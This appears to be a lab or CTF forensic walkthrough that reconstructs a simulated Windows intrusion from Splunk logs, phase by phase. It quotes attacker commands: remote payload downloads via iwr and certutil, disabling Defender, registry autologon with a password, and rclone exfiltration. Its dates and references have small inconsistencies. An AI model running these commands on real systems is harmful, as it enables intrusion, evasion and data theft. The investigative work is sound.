SpoofGrab
Q1) The intrusion started when the victim accessed a suspicious URL from a file-sharing service. What was the name of the website that triggered the compromise?
To begin unraveling this attack, our first objective is to determine how the attacker initially gained access to the victim machine. In many compromises, the first foothold comes from a user interacting with a malicious link, which can silently lead to the download or execution of attacker-controlled content. By identifying the exact domain visited, we gain a clear picture of where the infection chain began and how the attacker delivered their stager.
In this case, our victim is the workstation DESKTOP, which executed suspicious activity on August 25, 2025. To confirm the initial access vector, we focus on DNS activity logs, because whenever a user visits a website, the host must first resolve the domain name to an IP address. Fortunately, Sysmon provides this visibility through Event ID 22 (DNS Query), which records every DNS lookup a process makes.
We begin by searching Splunk for all DNS queries made by the victim machine. Since benign background traffic often clutters the results, we can exclude some services (such as corporate domains or trusted remote tools). The following query helps us isolate potential anomalies:
index="main" EventCode=22 QueryName!=*splashtop* QueryName!=*coretech.lab*
| stats count by QueryName
| table QueryName, count
| sort count
Reviewing the output, we immediately notice a suspicious entry: paste.sh
This domain appears only once during the timeframe of interest, making it stand out as an anomaly. Domains like paste.sh are particularly interesting because paste services are frequently abused by attackers to host payloads, malicious scripts, or encoded command snippets. In this attack, the single lookup of paste.sh aligns with the victim browsing activity that initiated the compromise.
To confirm when and how this query occurred, let's refine our search:
The forensic confirms that on 2025-08-25 at 13:27:40, the victim host DESKTOP executed msedge.exe under the logged-in user, initiating a DNS lookup to paste.sh, thereby confirming that the browser accessed the malicious domain at the time the intrusion began.
Answer: paste.sh
Q2) After visiting this website, the victim executed a PowerShell command via Run. What is the full url to the file that was downloaded and executed after executing this command?
Once we have established that the victim machine accessed the suspicious domain paste.sh, our next step is to determine what happened immediately afterward. In many attack scenarios, a malicious site does not cause direct damage on its own; instead, it often provides the user with a command or payload to execute.
In this case, the investigation indicates that the victim used the Windows Run dialog to execute a PowerShell command. Such commands are critical to identify because they often represent the very first stage of malicious code delivery, typically downloading and executing a file that continues the attack chain.
To monitor malicious PowerShell execution, we correlate Sysmon Event ID 1 (detailed process creation with full command-line arguments), Windows Security Event ID 4688 (process creation with optional command-line data if auditing is enabled), and PowerShell Event ID 4104 (script block logging of executed code when enabled), and in Splunk we pivot on these telemetry sources to identify suspicious PowerShell activity proximate to the victim’s access of paste.sh at 2025-08-25 13:27:40.
At approximately 13:30, log analysis revealed a suspicious PowerShell execution by the logged-in user, characterized by the use of the -WindowStyle Hidden flag to conceal activity, an outbound connection to 10.10.5.171:8883, and the retrieval of a remote executable subsequently written to the victim’s TEMP directory.
The exact command observed is:
The PowerShell command leveraged iwr (Invoke-WebRequest) to retrieve iexploreplugin.exe from the attacker-controlled host http://10.10.5.171:8883/, stored it in the user’s %TEMP% directory, and executed it via Start-Process, thereby confirming that the payload delivered to the victim system following the paste.sh visit was iexploreplugin.exe.
Answer: http://10.10.5.171:8883/iexploreplugin.exe
Q3) The attacker downloaded a zip file on a compromised host, resulting in two files. What are the names of the two files extracted from the zip file?
To identify the two files extracted from the downloaded ZIP archive, we start by considering how attackers often deploy additional payloads via ZIP files, downloading them to user directories and extracting them for execution. Since the attacker was active around August 25, 2025, post-13:30, we focus on file creation events for ZIP files to spot suspicious downloads, then trace related commands for extraction and subsequent file creations.
The results show a file, C:\Users\admin143\Downloads\python.zip, created at 2025-08-25 14:01:29, with the Image field indicating a PowerShell process.
To identify extraction activity, we look for process creation events (Sysmon Event ID 1) involving tools like powershell.exe (using Expand-Archive) or explorer.exe (manual extraction) that interact with python.zip:
The output reveals a command at 2025-08-25 14:00:33: powershell -c iwr -uri http://10.10.5.171:8883/python.zip -outfile C:\Users\admin143\Downloads\python.zip. This confirms the attacker used PowerShell to download python.zip from their server to the Downloads folder.
The results also show a command at 2025-08-25 14:03:00: powershell -c "Expand-Archive -Path 'C:\Users\admin143\Downloads\python.zip' -DestinationPath 'C:\Users\admin143\Downloads' -Force". This extracted the contents of python.zip to C:\Users\admin143\Downloads.
To identify the extracted files, let's search for file creation events in the destination path:
The output shows two files created at 2025-08-25 14:03:011 in C:\Users\admin143\Downloads\python: testc.exe and python311.dll. These files, likely an executable and a dynamic-link library, are typical components of a malicious payload, with testc.exe potentially acting as the main program and python311.dll as a supporting library for additional functionality.
Answer: testc.exe,python311.dll
Q4) When the attacker executed the file from Q3 on the compromised host, two additional files were dropped. What are the names of these two files?
To identify the two files dropped when the attacker executed the file from Q3 (testc.exe) on the compromised host, we need to investigate the execution of testc.exe and any subsequent file creation events. Since testc.exe was extracted from python.zip alongside python311.dll, its execution likely triggers additional payload delivery, such as downloading or creating new files to maintain persistence or perform further malicious actions.
We start by examining process creation and module loading events to confirm the execution of testc.exe and its behavior. Sysmon Event ID 7 (Image Loaded) can reveal if testc.exe loaded python311.dll, indicating it may rely on the DLL for functionality like downloading additional files.
The results show that at 2025-08-25 14:03:51, testc.exe was executed and loaded C:\Users\admin143\Downloads\python\python311.dll. This confirms that testc.exe uses the DLL, likely to execute malicious code that drops additional files.
Next, we investigate file creation events (Sysmon Event ID 11) triggered by testc.exe to identify any files dropped during its execution. We use the provided query, focusing on the same timeframe:
The output reveals two files created in C:\Users\Public\Downloads:
ws2_32.exeat 2025-08-25 14:03:51system_module.exeat 2025-08-25 14:03:52
These files, named to mimic legitimate Windows components (ws2_32 resembles a networking DLL, and system_module sounds generic), are likely executable beacons for command-and-control, dropped immediately after testc.exe’s execution. The timing and source process (testc.exe) confirm they resulted from its activity, possibly via code in python311.dll.
Answer: ws2_32.exe,system_module.exe
Command & Control
Q5) Once executed, the payload established a remote connection. What is the attacker’s IP address and port used for the first C2 communication?
Now that we’ve confirmed the delivery of the payload iexploreplugin.exe via PowerShell, our next goal is to determine how this malware communicated back to its command-and-control (C2) infrastructure. In most modern attacks, payloads don’t just sit idle on disk; they actively beacon out to the attacker’s infrastructure to receive further instructions.
Since we know that iexploreplugin.exe was downloaded and executed at 13:30:32 by the user coretech\t.leon on the host DESKTOP, our investigation will now focus on identifying any new network connections initiated by this process.
Outbound communication can be traced across multiple telemetry sources, but Sysmon Event ID 3, which records the initiating process along with source/destination IP, port, and protocol, provides the most conclusive evidence for attributing network traffic, such as the connection from iexploreplugin.exe whereas Security Event ID 5156 offers limited connection data and DNS Event ID 22 assists primarily in domain resolution analysis.
Because we already know the time (13:30:32) and the process (iexploreplugin.exe in the user’s TEMP directory), we can zoom in on all network connections from this process within that time window:
When we review the logs just after 13:30:32, we observe that iexploreplugin.exe on host DESKTOP initiated a TCP connection to destination IP 10.10.5.62 over port 8080. This confirms that the payload successfully established its first command-and-control (C2) channel with attacker-controlled infrastructure.
Defenders should always monitor for unusual outbound connections, especially to non-standard ports like 8080, which attackers often abuse for C2 traffic disguised as normal web activity. Tying these connections to suspicious processes (like iexploreplugin.exe) is what allows us to confirm they are malicious.
Answer: 10.10.5.62:8080
Q6) The attacker established a connection to another command-and-control (C2) server on one of the compromised host. What is the domain name of this C2 server?
To identify the domain name of the command-and-control (C2) server the attacker connected to from the compromised host, we need to investigate network activity initiated by malicious executables (ws2_32.exe and system_module.exe). Since these files were created at 2025-08-25 14:03:51 and 14:03:52, we focus on network connections or DNS queries shortly after, as beacons typically establish C2 communication soon after execution. Given the attacker’s activity around August 28, 2025, post-13:30, we target Sysmon logs for DNS queries or network connections.
We start with Sysmon Event ID 22 (DNS Event) to detect DNS queries made by the executables from Q4, which could reveal the C2 domain. We query within a one-hour window from the file creation time (14:03–15:03) to capture related activity:
The results show that at 2025-08-25 14:05:06, ws2_32.exe initiated a DNS query for agegamepay.com. This domain, resolved shortly after the execution of ws2_32.exe, indicates it is the C2 server the attacker used for communication, as ws2_32.exe is a likely beacon based on its naming and context.
Answer: agegamepay.com
Q7) When the two files from Q4 were executed on the compromised host, they established connections to the attacker's command-and-control (C2) server. What are the two ports used for these connections?
To determine the ports used by the two files from Q4 (ws2_32.exe and system_module.exe) when connecting to the attacker's C2 server, we need to investigate network activity initiated by these executables. Since Q6 established that ws2_32.exe connected to a C2 server and identified the domain agegamepay.com, we focus on network connection events following the execution of these files at 2025-08-25 14:03:51 and 14:03:52.
We begin with Sysmon Event ID 3 (NetworkConnect) to trace outbound connections initiated by ws2_32.exe and system_module.exe. To narrow our focus, we pivot on the destination IP 10.10.5.245 that we identified in the previous question.
The results reveal two outbound connections: ws2_32.exe established a session to 10.10.5.245 on port 8443, and system_module.exe connected to the same host on port 8083.
These non-standard ports are typical for C2 communications, as attackers often avoid common ports like 80 or 443 to evade detection. The timing, shortly after the files’ creation, aligns with their role as beacons establishing C2 connections.
Answer: 8443,8083
Persistence
Q8) In the persistence phase, the attacker installed remote management software on two compromised hosts. Which integrator credentials were leveraged to connect these installations to the attacker’s account?
As attackers move beyond initial compromise, one of their top priorities is to establish persistence. Instead of relying solely on malware, they often deploy legitimate administration software to blend into normal IT activity. This makes detection harder, as defenders may confuse the software with authorized remote management tools.
In this case, the attacker installed a remote monitoring agent on the host DESKTOP. Such installations typically require configuration parameters, including unique credentials that tie the software back to the operator’s account. Identifying these values is crucial, as they allow us to trace the persistence mechanism directly to the attacker.
Let’s look for process creation activity within the 30-minute window immediately after the first beacon, from 2025-08-25 13:30:00 to 2025-08-25 14:00:00. Common installer indicators include references to installer executables or script hosts (for example: .msi, setup, install, wscript, cscript, rundll32, regsvr32, powershell, etc.). We’ll search process creation logs for those patterns and inspect full command lines for any configuration parameters or embedded credentials.
Reviewing the output within that window, one command stands out due to its unusual length and the presence of a remote URL. The entry appears at 13:45 and shows a script fetching a remote installer and launching an installer with multiple arguments. The captured command line is:
This command downloads an MSI file and installs it silently using msiexec.exe. The parameters IntegratorLogin=bunionsneaker.4m@gmail.com and AccountId=001Q300000VzBKuIAN indicate the credentials linking the installation to the attacker’s account. To confirm this applies to both hosts, we extend the query to FILES-Server:
When we examine FILES-Server, we observe the same MSI installation executed with identical parameters, confirming that the attacker leveraged consistent credentials across both hosts.
Answer: bunionsneaker.4m@gmail.com,001Q300000VzBKuIAN
Q9) In the persistence phase, the attacker installed three remote management services on the compromised hosts. What are the names of these services?
To determine the names of the remote management services installed by the attacker, we focus on service creation events, as these are commonly used to establish persistent access. Windows Security Event ID 4697 logs service installations, capturing the service name and associated user account. Since the attacker targeted both the DESKTOP and FILES-Server hosts, we’ll query for service creations on both systems around the time of the attack (August 25, 2025, post-13:30). We also consider processes like msiexec.exe or cscript.exe, which are often used to install software silently, but Event ID 4697 directly confirms service creation.
The results show three services created on the DESKTOP host:
AteraAgent: Installed via an MSI package, likely tied to the setup.msi command seen previously.
SplashtopRemoteService: Installed alongside AteraAgent, as it is automatically installed when the Atera agent is installed, as Atera integrates with Splashtop for its remote access feature, allowing for enhanced control and support by enabling technicians to connect to managed devices directly from the Atera platform.
AnyDesk: Installed as a standalone service, providing direct remote access.
On the FILES-Server, the same query reveals only two services installed at a similar time:
AteraAgent: Consistent with the DESKTOP installation, using the same MSI parameters.
SplashtopRemoteService: Confirming the link with AteraAgent, as both appear together.
No Event ID 4697 entries indicate AnyDesk installation on FILES-Server, suggesting the attacker attempted but failed to install it, possibly due to permissions, system configuration, or an interrupted process.
To investigate AnyDesk on DESKTOP, we use the provided query for process executions:
This shows that C:\ProgramData\AnyDesk.exe was executed on DESKTOP, indicating an attempted installation. To verify persistence of the binary, we proceed with a file creation query to confirm its presence on disk:
This shows that AnyDesk.exe was created on DESKTOP at 2025-08-25 13:47:02 and on FILES-Server at 14:12:33. The presence of the file on FILES-Server but no corresponding Event ID 4697 suggests the installation failed, possibly due to insufficient permissions or system restrictions.
Answer: AteraAgent,SplashtopRemoteService,AnyDesk
Q10) When the attacker installed the remote management tool in Q4, two scheduled tasks were created related to this service. What are the names of these two scheduled tasks?
To identify the scheduled tasks created during the installation of the AteraAgent service on the DESKTOP host, we rely on forensic analysis of the disk image, as one task is not logged in event logs. Scheduled tasks are a common persistence mechanism for remote management tools, and their configurations are stored in the Windows registry and file system. The AteraAgent installation occurred around 2025-08-25 13:46, so we expect task creation artifacts around this timeframe.
So, let’s load the SOFTWARE registry hive into Registry Explorer and navigate to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks, where we can examine the task entries along with their creation timestamps and names. Two relevant tasks are found:
Monitoring Recovery: Created at 2025-08-25 13:47:10.
AteraAgentServiceWatchdog: Created at 2025-08-25 13:51:18.
To confirm, we navigate to C:\Windows\System32\Tasks in the disk image. This directory contains XML files defining scheduled tasks. We locate two files corresponding to:
Monitoring Recovery
AteraAgentServiceWatchdog
These files, tied to the AteraAgent installation, confirm the tasks’ presence and purpose, likely ensuring service persistence and recovery.
Answer: Monitoring Recovery,AteraAgentServiceWatchdog
Q11) During the persistence phase, the attacker created a shortcut to ensure malicious code execution. Which script was responsible for creating this shortcut?
To identify the script responsible for creating the shortcut on the, we start by considering how attackers typically establish persistence using shortcuts. Shortcuts (.lnk files) placed in locations like the Startup folder (C:\Users<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup) ensure automatic execution of malicious code on user login. Since shortcuts are often created by scripts or commands executed during an attack, we need to investigate file creation events and script executions around the time of the initial compromise on August 25, 2025 13:30.
Let’s begin with Sysmon Event ID 11 (FileCreate) to detect the creation of .lnk files, within a two-hour window from the initial access (13:30–15:30) to capture persistence-related activity. We use the following Splunk query to find shortcut files:
The results show a file named iexplorer.lnk created at 2025-08-25 13:52:25, with the Image field indicating C:\Windows\System32\cscript.exe. This is significant because cscript.exe, the Microsoft Console Based Script Host, is used to execute VBScript or JScript files, suggesting that a script ran by cscript.exe created the shortcut. The timing, shortly after the AteraAgent installation, aligns with persistence activities.
To determine which script was executed by cscript.exe at this time, we query Sysmon Event ID 1 (process creation) for commands involving cscript.exe, VBScript (.vbs), or JScript (.js) files. We narrow the timeframe to 13:52–13:53 to focus on events close to the shortcut creation:
The output reveals a command executed at 2025-08-25 13:52:25: cscript.exe C:\Users\t.leon\scvhost.vbs. This matches the exact timestamp of the iexplorer.lnk creation, strongly indicating that the VBScript scvhost.vbs was responsible for generating the shortcut. The use of cscript.exe to run a .vbs file suggests it contains code to create a shortcut, likely pointing to a malicious executable for persistence.
To confirm the script’s origin, we check when scvhost.vbs was created on the DESKTOP host using Sysmon Event ID 11:
The results show C:\Users\t.leon\scvhost.vbs was created at 2025-08-25 13:51:17, just minutes before its execution. This suggests the attacker deployed the script as part of their persistence strategy, then executed it to create the shortcut
Answer: scvhost.vbs
Q12) On the domain server, the attacker configured automatic logon using a user’s credentials. What is the password used, and what is the name of the script responsible for this configuration?
To determine the password and script used to configure automatic logon on the DC01 host, we start by investigating registry modifications, as automatic logon typically involves changes to the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon registry key. This key controls the Windows Logon process, with values like AutoAdminLogon, DefaultUserName, and DefaultPassword enabling automatic login. Since the attacker likely used a script to make these changes, we also look for script execution or download events. Using the provided Splunk query to identify registry modifications:
The results show three commands executed at 2025-08-25 14:46:02:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 1 /f: Enables automatic logon.
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d CyberNight!128 /f: Sets the password to CyberNight!128.
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d Main\william /f: Sets the username to Main\william.
The ParentCommandLine for these commands indicating that a batch script, dhsf82.bat, executed these registry changes to configure automatic logon.
To confirm the script’s origin, we use the provided query to trace its download:
The results show that at 14:44:11, the command certutil -urlcache -split -f http://10.10.5.171:8883/dhsf82.bat C:\ProgramData\Microsoft\dhsf82.bat was executed, downloading dhsf82.bat from the attacker’s server to C:\ProgramData\Microsoft. This confirms that dhsf82.bat is the script responsible for the registry modifications.
Answer: CyberNight!128,dhsf82.bat
Discovery
Q13) During discovery, the attacker attempted to enumerate domain accounts. Which command did they use to list all domain users?
After establishing the first C2 channel through iexploreplugin.exe, the attacker quickly began a discovery phase. At this stage, adversaries typically want to learn more about the environment they’ve landed in: who the users are, what machines exist, and where valuable targets like domain controllers reside.
One of the first actions adversaries often perform is to enumerate accounts. Knowing which accounts exist and especially which have administrative privileges, helps the attacker plan their privilege escalation and lateral movement.
To investigate attacker enumeration, we can rely on two primary forensic artifacts: Sysmon Event ID 1, which provides full command-line visibility for executed processes, and Windows Security Event ID 4688, which also records process creation but may truncate arguments without enhanced auditing. Since the enumeration was carried out interactively through the attacker’s C2 session, we expect these commands (e.g., net, whoami) to appear as child processes of iexploreplugin.exe or whichever process the malware migrated into, so we’ll focus on process creation logs to determine exactly which commands were executed.
As we review the output, we notice several discovery commands such as net localgroup administrators, whoami, and hostname. The command that stands out, however, is net user /domain, which queries Active Directory to enumerate all domain accounts. This is particularly significant because it leverages a built-in Windows utility, requiring no external tools, making it a common technique attackers use for reconnaissance.
Answer: net user /domain
Q14) The attacker, during reconnaissance, ran an enumeration tool via C2 after migrating to another process. The tool then generated an output file on the victim host. Which process did they migrate into, and what file was created?
At this stage of the investigation, we know the attacker had already established persistence on the victim machine and begun executing enumeration commands (net user, whoami /all, etc.). Our next task is to determine what more advanced activity they performed during the same timeframe.
Because enumeration tools typically generate new files (logs, dumps, or archives), we can look for evidence of file creation. Sysmon Event ID 11 (FileCreate) is an excellent place to start, since it records whenever a new file appears on disk.
From earlier analysis, we know the suspicious activity occurred shortly after 13:30:32, when iexploreplugin.exe was executed and the attacker began running discovery commands.
To avoid too much noise, let’s narrow our Splunk search to a 10-minute window (13:30 to 13:40).
Among the routine files, a group of suspicious filenames immediately stands out. This is highly unusual for normal workstation activity. JSON files with names referencing users, computers, groups, GPOs, and domains strongly suggest bulk Active Directory enumeration. Even more suspicious is the ZIP file with a timestamp in its name, which likely contains the collected data.
Now that we know these files exist, the next step is to figure out which process created them. For that, we extend our query to include the Image field:
When we review the output, we find something highly unusual: all of these files were created by notepad.exe. This is a clear anomaly, as Notepad is a simple text editor and does not normally generate JSON or ZIP archives. The fact that notepad.exe is responsible for these file creations is a strong indicator that the attacker migrated into the Notepad process and executed their enumeration tool from within it.
Answer: notepad.exe,20250825133552_BloodHound.zip
Credential Access
Q15) The attacker managed to dump hashes on the DESKTOP host. What is the process they migrated to before dumping the hashes?
To determine the process the attacker migrated to before dumping hashes on the DESKTOP host, we need to identify credential-dumping activity, which typically involves accessing the LSASS process (lsass.exe) to extract hashes, often using tools like Mimikatz. Attackers may migrate to a legitimate system process to run such tools covertly, leveraging its privileges to avoid detection. Since the attacker was active on DESKTOP around August 25, 2025, post-13:30, we focus on logs for process access events and suspicious commands, using the provided queries to guide our investigation.
First, let's use the provided Splunk query to identify access to lsass.exe, which is commonly targeted for hash dumping:
The results show an event at 2025-08-25 13:56:54 where spoolsv.exe (the Windows Print Spooler Service) accessed lsass.exe with GrantedAccess code 0x1010. This permission level includes PROCESS_QUERY_LIMITED_INFORMATION and PROCESS_VM_READ, which are sufficient for a tool like Mimikatz to read LSASS memory and dump credentials. The involvement of spoolsv.exe, a legitimate system process that manages print jobs, is suspicious, as it’s not typically associated with accessing LSASS. This suggests the attacker migrated to spoolsv.exe to perform the hash dump.
To confirm migration, we use the second provided query to investigate access to spoolsv.exe:
The output reveals an event at 2025-08-25 13:55:22 where iexploreplugin.exe, the initial malicious payload downloaded earlier, accessed spoolsv.exe. This event, occurring just minutes before the LSASS access, suggests the attacker injected their code into spoolsv.exe to operate under its system context.
Answer: spoolsv.exe
Defense Evasion
Q16) The attacker executed a command to disable a specific Windows Defender feature to evade detection. What is the full command used?
To identify the full command used by the attacker to disable a Windows Defender feature on the DESKTOP host, we start by considering common defense evasion techniques. Attackers often tamper with antivirus tools like Windows Defender to prevent detection of their payloads, using commands like Set-MpPreference to disable features such as real-time monitoring. Since the attacker was active on DESKTOP around August 25, 2025, post-13:30, we focus on process creation events for PowerShell or cmd executions that include keywords like "Disable" or "MpPreference".
We begin with Sysmon Event ID 1 (process creation) to detect commands that might modify Defender settings. We query for executions containing "Disable" within a two-hour window from the initial compromise (13:30–15:30) to capture evasion activities:
The results show a suspicious command executed at 2025-08-25 13:53:40 by user coretech\t.leon: powershell.exe -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring. The use of -WindowStyle Hidden hides the PowerShell window, and Set-MpPreference -DisableRealtimeMonitoring disables real-time monitoring in Windows Defender, a key evasion tactic to prevent scanning of malicious files. The timing, shortly after persistence mechanisms like shortcuts and services, aligns with the attacker preparing for further actions.
Lateral Movement
Q17) What was the username used for lateral movement to the compromised file server?
To determine the username used by the attacker for lateral movement to the file server, we need to investigate successful login attempts that indicate remote access. Lateral movement typically involves network logons (e.g., LogonType 3) using stolen credentials. Since the attacker was active around August 25, 2025, post-13:30, we focus on Windows Security Event ID 4624 (successful logon) on the FILES-Server host to identify the first instance of unauthorized access. We start by querying Event ID 4624 to capture logon events on the FILES-Server, focusing on network logons:
The results show a logon event at 2025-08-25 13:58:52 with LogonType=3 (network logon), TargetUserName=admin143, and IpAddress=10.10.5.62. The source IP 10.10.5.62 matches the attacker’s infrastructure, and the timing aligns with post-exploitation activity following the DESKTOP compromise. This suggests the attacker used the admin143 account, likely with stolen credentials (e.g., from hash dumping on DESKTOP), to authenticate remotely to the FILES-Server.
The output confirms the earliest successful logon by admin143 from 10.10.5.62 occurred at 13:58:52, with no prior logons from this IP, indicating this was the initial lateral movement.
Logon type 3, also known as network logon, signifies a user accessing resources on a computer from a remote location over the network. It indicates that a user has successfully connected to a system using network protocols like SMB (Server Message Block) to access shared folders, printers, or other network resources.
Answer: admin143
Q18) Determining the timestamp of lateral movement to the Domain Controller is key for attack analysis. When did the attacker successfully access it?
To determine the timestamp of the attacker’s lateral movement to the Domain Controller (DC01), we need to identify the first successful logon event indicating remote access. Lateral movement typically involves network logons (LogonType 3) using stolen credentials, logged as Windows Security Event ID 4624 (successful logon). Since the attacker was active around August 25, 2025, post-13:30, and previous questions (e.g., Q17) indicate the use of the IP 10.10.5.62 for lateral movement, we focus on logon events on DC01 to pinpoint the earliest unauthorized access. We start by querying Event ID 4624 on DC01 for network logons (LogonType 3) to capture potential lateral movement:
The results show a logon event at 2025-08-25 14:34:30 with LogonType=3, TargetUserName=admin143, and IpAddress=10.10.5.62. The source IP 10.10.5.62 aligns with the attacker’s infrastructure, as seen in the FILES-Server compromise (Q17 at 13:58:52), and the username admin143 suggests credentials stolen during the DESKTOP hash dumping (Q15). This event, occurring after earlier compromises, indicates lateral movement to DC01.
Answer: 2025-08-25 14:34
Collection
Q19) The attacker compressed specific files on the compromised file server for exfiltration. What is the full path to the file where the attacker saved the compressed data?
To determine the full path of the file where the attacker saved compressed data on the compromised file server, we need to investigate file creation events related to compression activities, likely involving PowerShell’s Compress-Archive cmdlet, which is commonly used to create zip archives for exfiltration.
We start by querying Sysmon Event ID 1 (process creation) for PowerShell commands involving Compress-Archive to identify the compression activity:
The results show a command executed at 2025-08-25 14:17:04: powershell -c "Compress-Archive -Path 'C:\Shares\Shares\Finance.csv','C:\Shares\Shares\HR.csv' -DestinationPath 'C:\ProgramData\Teams\teams-skartech.zip'". This command compressed Finance.csv and HR.csv into a zip file saved at C:\ProgramData\Teams\teams-skartech.zip, indicating the attacker targeted sensitive data for exfiltration.
Answer: C:\ProgramData\Teams\teams-skartech.zip
Exfiltration
Q20) The attacker used a tool for syncing files to cloud storage to exfiltrate data from the compromised file server. What is the name of the specific folder or path on the remote storage service used for exfiltration?
To identify the specific folder or path on the remote storage service used by the attacker to exfiltrate data from the compromised file server, we need to investigate commands that facilitate data transfer to external storage, such as cloud services. Exfiltration often follows data staging (e.g., compression, as seen in Q19 with teams-skartech.zip at 14:17:04), so we focus on process creation events on the FILES-Server after this time, looking for tools or commands that sync files to remote locations.
We start by querying Sysmon Event ID 1 (process creation) for commands related to file compression or archiving, as these may precede exfiltration to prepare data:
The results show a command at 2025-08-25 14:22:24: powershell -Command "Expand-Archive -Path 'C:\ProgramData\teams\rclone+config.zip' -DestinationPath 'C:\ProgramData\teams\rclone' -Force". This command extracts a zip file to C:\ProgramData\teams\rclone, suggesting the attacker deployed a tool for file transfer.
Rclone is an open-source, command-line program that synchronizes and manages files and folders between your local machine and various cloud storage providers like Google Drive, Dropbox, and OneDrive, as well as other storage systems and local servers.
To find the exfiltration command, we broaden our search for commands involving file transfers:
The output reveals a command at 2025-08-25 14:25:03: cmd.exe /c "C:\ProgramData\Teams\rclone\rclone-v1.71.0-windows-amd64\rclone.exe copy teams-starktech.zip remote:starktech-backups". This command uses an executable named rclone.exe to copy a file, teams-starktech.zip, to a remote location specified as remote:starktech-backups. The path starktech-backups indicates the folder or bucket on the remote storage service. The file teams-starktech.zip likely refers to teams-skartech.zip from Q19, possibly renamed by the attacker.
Answer: starktech-backups
Impact
Q21) The attacker downloaded two scripts to the Domain Controller to attempt file encryption. What are the names of these two scripts?
To identify the names of the two scripts downloaded by the attacker to the Domain Controller (DC01) for attempting file encryption, we need to investigate download activities, likely involving PowerShell, certutil, or other tools commonly used to fetch malicious scripts. Since the attacker laterally moved to DC01 at 2025-08-25 14:34 (Q18), we focus on process creation events on DC01 shortly after this time, targeting commands that download files, such as those using Invoke-WebRequest, BitsTransfer, certutil, or bitsadmin.
We start by querying Sysmon Event ID 1 (process creation) for commands involving common download methods, using keywords like Invoke, BitsTransfer, certutil, or bitsadmin:
The results show two relevant commands:
At
2025-08-25 14:36:51: certutil -urlcache -split -f https://raw.githubusercontent.com/muahmmedshahblis/blabla/refs/heads/main/crypto.psm1 C:\ProgramData\crypto.psm1At
2025-08-25 14:37:57: certutil -urlcache -split -f https://raw.githubusercontent.com/muahmmedshahblis/blabla/refs/heads/main/script.ps1 C:\ProgramData\script.ps1
These commands use certutil to download crypto.psm1 and script.ps1 from a GitHub repository to C:\ProgramData. The file names and their .psm1 (PowerShell module) and .ps1 (PowerShell script) extensions suggest they are scripts intended for malicious activity.
Answer: crypto.psm1,script.ps1
Last updated